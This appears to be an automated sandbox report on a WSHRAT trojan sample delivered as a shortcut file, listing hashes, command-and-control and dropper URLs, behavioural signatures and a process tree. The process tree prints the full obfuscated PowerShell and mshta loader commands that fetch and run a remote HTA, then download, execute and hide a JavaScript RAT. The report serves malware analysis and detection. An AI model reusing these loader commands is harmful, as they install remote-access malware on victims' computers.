wshrat | 872ee92495f1b86946a2edeb3db242c35b0b363e52cd352a87d0370a491ad5ee

Analysis

max time kernel
149s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20220721-en
resource tags

arch:x64arch:x86image:win10v2004-20220721-enlocale:en-usos:windows10-2004-x64system
submitted
27/07/2022, 09:18

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
statement lnk.lnk
Size 4KB
Sample220727-k9lsgacdbj
SHA256 872ee92495f1b86946a2edeb3db242c35b0b363e52cd352a87d0370a491ad5ee
MD5 5e1ca59bb66d4c5c16d6dfadfc933745
SHA1 84ebc12f3798767a23ecfc66fd08c2d86427de32
SHA512 4233524464ef52f494b188539944edbc95a1e476e96486b88397609649aed4e7660d2157bcb4d02e60826a3d3582de8c6113ea273a9440004b636d9f11bbf18d
MD5 SHA1 SHA512

Score

10^/10

wshrat trojan

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ht-nail.de/statement.hta

Extracted

Family

wshrat

http://1.tcp.au.ngrok.io:25993

Signatures

WSHRAT
WSHRAT is a variant of Houdini worm and has vbs and js variants.
trojan wshrat

Blocklisted process makes network request 22 IoCs

flow	pid	Process
10	3172	mshta.exe
12	3172	mshta.exe
14	3976	powershell.exe
15	3976	powershell.exe
17	2220	WScript.exe
19	2220	WScript.exe
27	2220	WScript.exe
28	2220	WScript.exe
30	2220	WScript.exe
36	2220	WScript.exe
39	2220	WScript.exe
40	2220	WScript.exe
42	2220	WScript.exe
43	2220	WScript.exe
45	2220	WScript.exe
46	2220	WScript.exe
47	2220	WScript.exe
48	2220	WScript.exe
49	2220	WScript.exe
50	2220	WScript.exe
51	2220	WScript.exe
52	2220	WScript.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Control Panel\International\Geo\Nation	mshta.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
16	ip-api.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000_Classes\Local Settings	powershell.exe

Script User-Agent 16 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	47	WSHRAT\|00B2167E\|QAZKGNUX\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	49	WSHRAT\|00B2167E\|QAZKGNUX\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	50	WSHRAT\|00B2167E\|QAZKGNUX\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	28	WSHRAT\|00B2167E\|QAZKGNUX\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	30	WSHRAT\|00B2167E\|QAZKGNUX\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	43	WSHRAT\|00B2167E\|QAZKGNUX\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	19	WSHRAT\|00B2167E\|QAZKGNUX\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	48	WSHRAT\|00B2167E\|QAZKGNUX\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	39	WSHRAT\|00B2167E\|QAZKGNUX\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	42	WSHRAT\|00B2167E\|QAZKGNUX\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	45	WSHRAT\|00B2167E\|QAZKGNUX\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	46	WSHRAT\|00B2167E\|QAZKGNUX\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	51	WSHRAT\|00B2167E\|QAZKGNUX\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	27	WSHRAT\|00B2167E\|QAZKGNUX\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	36	WSHRAT\|00B2167E\|QAZKGNUX\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland
HTTP User-Agent header	40	WSHRAT\|00B2167E\|QAZKGNUX\|Admin\|Microsoft Windows 10 Pro\|plus\|nan-av\|false - 27/7/2022\|JavaScript-v3.4\|IE:Ireland

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2288	powershell.exe
2288	powershell.exe
3976	powershell.exe
3976	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	2288	powershell.exe
Token: SeDebugPrivilege	3976	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4836 wrote to memory of 2288	4836	cmd.exe	81
PID 4836 wrote to memory of 2288	4836	cmd.exe	81
PID 2288 wrote to memory of 3172	2288	powershell.exe	82
PID 2288 wrote to memory of 3172	2288	powershell.exe	82
PID 3172 wrote to memory of 3976	3172	mshta.exe	83
PID 3172 wrote to memory of 3976	3172	mshta.exe	83
PID 3976 wrote to memory of 2220	3976	powershell.exe	85
PID 3976 wrote to memory of 2220	3976	powershell.exe	85

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\statement lnk.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4836
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ErrorActionPreference=0; $QVRPFKI = $Null; $zgKcS = 'tIPtuntL:eoipwsstpmf/eHdelhOtJMvtamaAtL/gEhXsIS./W-ThhPQTenr~.tams'; sal esdxBWTt ($zgKcS[(62822-62808)]+$zgKcS[(20755-20722)]+$zgKcS[(-63711+63718)]); esdxBWTt wSYbHYW ($zgKcS[(57345-57344)]+$zgKcS[(-44730+44739)]+$zgKcS[(33818-33775)]); esdxBWTt oAvVQDjvF ($zgKcS[(39015-38997)]+$zgKcS[(62822-62808)]+$zgKcS[(-38269+38291)]+$zgKcS[(826-826)]+$zgKcS[(20755-20722)]); foreach($OycvUUgh in @((18952-18926),(59757-59757),(-54908+54908),(-17640+17652),(-62592+62606),(-29515+29523),(59812-59792),(-21157+21177),(11993-11967),(-8023+8023),(-63819+63869),(-21448+21453),(32449-32416),(54503-54492),(-50685+50710),(-56228+56275),(-18328+18351),(26002-25993),(-64815+64835),(-9751+9765),(-6252+6252),(2138-2105),(-57567+57567),(53510-53501),(28361-28343),(-43693+43702),(16364-16359),(45323-45323),(21240-21193),(-27700+27726),(41009-41009),(38482-38449))) {$QVRPFKI+=$zgKcS[$OycvUUgh]}; wSYbHYW ("oAvVQDjvF $QVRPFKI");
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2288
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://ht-nail.de/statement.hta
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3172
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted function hGpRFzhxC($ncyQBVxuN, $bmzObKgnO){[IO.File]::WriteAllBytes($ncyQBVxuN, $bmzObKgnO)};function opPPxkiJmb($ncyQBVxuN){if($ncyQBVxuN.EndsWith((ZHhNoxjKqVIlBal @(45585,45639,45647,45647))) -eq $True){rundll32.exe $ncyQBVxuN }elseif($ncyQBVxuN.EndsWith((ZHhNoxjKqVIlBal @(45585,45651,45654,45588))) -eq $True){powershell.exe -ExecutionPolicy unrestricted -File $ncyQBVxuN}else{Start-Process $ncyQBVxuN}};function qqLOwwVnMFG($hGpRFzhxC){$idjCuQLIUbnBwUgvWDV=(ZHhNoxjKqVIlBal @(45611,45644,45639,45639,45640,45649));$nbgYRvPswVZYCK=(Get-ChildItem $hGpRFzhxC -Force);$nbgYRvPswVZYCK.Attributes=$nbgYRvPswVZYCK.Attributes -bor ([IO.FileAttributes]$idjCuQLIUbnBwUgvWDV).value__};function TicTeelSktHnXfO($irjWUFuYLRsApSFCnod){$eBFqHwopwUgJLecmR = New-Object (ZHhNoxjKqVIlBal @(45617,45640,45655,45585,45626,45640,45637,45606,45647,45644,45640,45649,45655));[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::TLS12;$bmzObKgnO = $eBFqHwopwUgJLecmR.DownloadData($irjWUFuYLRsApSFCnod);return $bmzObKgnO};function ZHhNoxjKqVIlBal($CfFfZKRBmd){$wAeqTyuBM=45539;$cBbZgQxDeHgVM=$Null;foreach($fozIjxEr in $CfFfZKRBmd){$cBbZgQxDeHgVM+=[char]($fozIjxEr-$wAeqTyuBM)};return $cBbZgQxDeHgVM};function ooVTspReNL(){$QdQJPbGZPbHmuFHjU = $env:AppData + '\';$QRJEOTllSpueGEkPzvMBz = $QdQJPbGZPbHmuFHjU + '000489-1053540002.jpg';If(Test-Path -Path $QRJEOTllSpueGEkPzvMBz){Invoke-Item $QRJEOTllSpueGEkPzvMBz;}Else{ $AloviVypPny = TicTeelSktHnXfO (ZHhNoxjKqVIlBal @(45643,45655,45655,45651,45654,45597,45586,45586,45638,45639,45649,45585,45639,45644,45654,45638,45650,45653,45639,45636,45651,45651,45585,45638,45650,45648,45586,45636,45655,45655,45636,45638,45643,45648,45640,45649,45655,45654,45586,45595,45596,45594,45588,45589,45595,45588,45590,45589,45590,45595,45595,45589,45587,45591,45592,45591,45591,45586,45588,45587,45587,45587,45596,45590,45595,45593,45590,45591,45591,45587,45593,45592,45590,45596,45589,45596,45591,45586,45587,45587,45587,45591,45595,45596,45584,45588,45587,45592,45590,45592,45591,45587,45587,45587,45589,45585,45645,45651,45642));hGpRFzhxC $QRJEOTllSpueGEkPzvMBz $AloviVypPny;Invoke-Item $QRJEOTllSpueGEkPzvMBz;};$ekjAHntag = $QdQJPbGZPbHmuFHjU + 'xix.js'; if (Test-Path -Path $ekjAHntag){opPPxkiJmb $ekjAHntag;}Else{ $VVqldlLVS = TicTeelSktHnXfO (ZHhNoxjKqVIlBal @(45643,45655,45655,45651,45654,45597,45586,45586,45643,45655,45584,45649,45636,45644,45647,45585,45639,45640,45586,45650,45651,45650,45586,45659,45644,45659,45585,45645,45654));hGpRFzhxC $ekjAHntag $VVqldlLVS;opPPxkiJmb $ekjAHntag;};qqLOwwVnMFG $ekjAHntag;;;;;}ooVTspReNL;
      4⤵
      Blocklisted process makes network request
      Modifies registry class
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3976
    - - C:\Windows\System32\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\xix.js"
        5⤵
        Blocklisted process makes network request
        
        PID:2220

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
MD5 2f57fde6b33e89a63cf0dfdd6e60a351
SHA1 445bf1b07223a04f8a159581a3d37d630273010f
SHA512 42857c5f111bfa163e9f4ea6b81a42233d0bbb0836ecc703ce7e8011b6f8a8eca761f39adc3ed026c9a2f99206d88bab9bddb42da9113e478a31a6382af5c220
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d90968baa89063686e83e4514b0b0341f703aefec3e00f63020a344763e92f60
MD5 8b591dabf3d165412ca5160b0fc9f7a0
SHA1 7f4003f64d280a98099a799b7303ab94adfea747
SHA512 57aaed079e38c08f0fe05aec21c02c84a7ed80780e796a5944227d5f17439a1b4378004931512965445826457f30488ec8f173b199e0e5374d4828c43a7e8af5
MD5 SHA1 SHA512

Submit Download

xix.js

Path C:\Users\Admin\AppData\Roaming\xix.js
Size 219KB
SHA256 d6356866d600a2be0fc8589b1dd09b2d04c8bd1bf98699be5f1376f9d88ad4cd
MD5 cffdd5a6b8da7a831e44c316702f379e
SHA1 0194f262d5f22ddfc7959a68883302737b9dbf07
SHA512 a28e62735d041f7cefc7c28dd8975f5f5e67892874350f020d7123409d21afe353cd7e86b5fae151dc3c7da4159c7d96dceadfdff7dbeaa07950cf1c635b7363
SSDEEP 6144:LTIj4FmQ10SWmLuu/aUN6Wk6Wma+O4ab0IGr1/9:L7nfiC5NlWma79Grj
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/2288-131-0x000001C9F4320000-0x000001C9F4342000-memory.dmp

Download

memory/2288-132-0x00007FFCA8660000-0x00007FFCA9121000-memory.dmp

Download

memory/2288-134-0x00007FFCA8660000-0x00007FFCA9121000-memory.dmp

Download

memory/3976-140-0x00007FFCA7E50000-0x00007FFCA8911000-memory.dmp

Download

memory/3976-139-0x00007FFCA7E50000-0x00007FFCA8911000-memory.dmp

Download

memory/3976-143-0x00007FFCA7E50000-0x00007FFCA8911000-memory.dmp

Download